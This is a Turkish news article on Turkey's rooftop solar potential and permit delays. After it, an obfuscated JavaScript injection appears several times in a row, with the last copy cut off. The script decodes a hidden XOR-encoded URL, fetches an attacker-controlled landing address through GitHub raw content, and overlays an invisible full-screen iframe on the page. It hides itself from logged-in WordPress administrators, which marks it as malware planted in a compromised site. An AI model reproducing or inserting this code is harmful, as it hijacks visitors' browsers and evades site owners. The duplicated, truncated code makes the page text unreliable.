Elektrik faturasını değiştirecek! Türkiye’nin çatılarında dev potansiyel

Türkiye’nin güneş enerjisinde henüz yeterince değerlendiremediği en büyük alanlardan biri bina çatıları. Uluslararası Enerji Ajansı’nın (IEA) Türkiye Enerji Politikaları İncelemesi Raporu’na göre ülkedeki çatılarda yaklaşık 120 gigavatlık güneş enerjisi kurulum potansiyeli bulunuyor.

Bu kapasitenin tamamının devreye alınması halinde Türkiye’nin toplam elektrik talebinin yaklaşık yüzde 45’i çatılardan karşılanabilir. Potansiyelin en yüksek olduğu iller ise İzmir, İstanbul ve Ankara olarak sıralanıyor.

Elektrik tüketildiği yerde üretilebilir

Çatı tipi güneş sistemlerinin yaygınlaşması, büyük santrallerden farklı olarak elektriğin tüketildiği noktada üretilmesine imkan sağlıyor.

Haneler ve işletmeler kendi elektriğinin bir bölümünü üretirken ihtiyaç fazlasını sisteme verebiliyor. Dağıtık üretim modeli aynı zamanda merkezi elektrik sistemine bağımlılığı azaltarak şebekenin dayanıklılığını artırabiliyor. Özellikle deprem gibi afetlerde merkezi şebekede yaşanabilecek kesintiler düşünüldüğünde, çatı sistemleri enerji arz güvenliği açısından da önem taşıyor.

Büyük potansiyelin önünde izin engeli

Ancak 120 gigavatlık potansiyelin hayata geçirilmesinin önünde önemli bir sorun var: kurulum süreçleri. IEA raporuna göre birden fazla kurumdan onay gerektiren süreç başvurudan kuruluma kadar 27 haftaya uzayabiliyor.

GENSED Genel Sekreteri Hakan Erkan ise mevcut uygulamada bazı izin süreçlerinin 8 ay ile 1 yıl arasında sürebildiğine dikkat çekiyor. Erkan’a göre özellikle konutlarda 25 kilovatın altındaki sistemlerde prosedürlerin önemli ölçüde basitleştirilmesi gerekiyor.

Çatılarda 10 gigavatlık yeni hedef

Türkiye, rüzgâr ve güneşte 2035 hedeflerine ulaşmak için izin süreçlerini kısaltmaya yönelik adımlar da atıyor. 2025’te yapılan düzenlemeyle büyük ölçekli rüzgâr ve güneş santrallerinde yaklaşık 48 ayı bulan izin süreçlerinin 18 aya kadar indirilmesinin önü açıldı.

Enerji sistemine kazandırılması planlanan 35 gigavatlık esnek kapasitenin 10 gigavatının depolamayla birlikte çatı tipi güneş sistemlerinden gelmesi öngörülüyor.

Güneş enerjisi halihazırda lisanssız elektrik üretiminde açık ara ilk sırada. 2025 sonu itibarıyla yaklaşık 23 gigavatlık fotovoltaik güneş kapasitesi, Türkiye’nin lisanssız elektrik üretim kapasitesinin yüzde 97’sini oluşturdu.

Çatılardaki potansiyelin daha büyük ölçekte kullanılması için ise izinlerin kolaylaştırılmasının yanı sıra şebeke altyapısının güçlendirilmesi, depolama yatırımları ve finansman imkanlarının artırılması gerekiyor.

;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
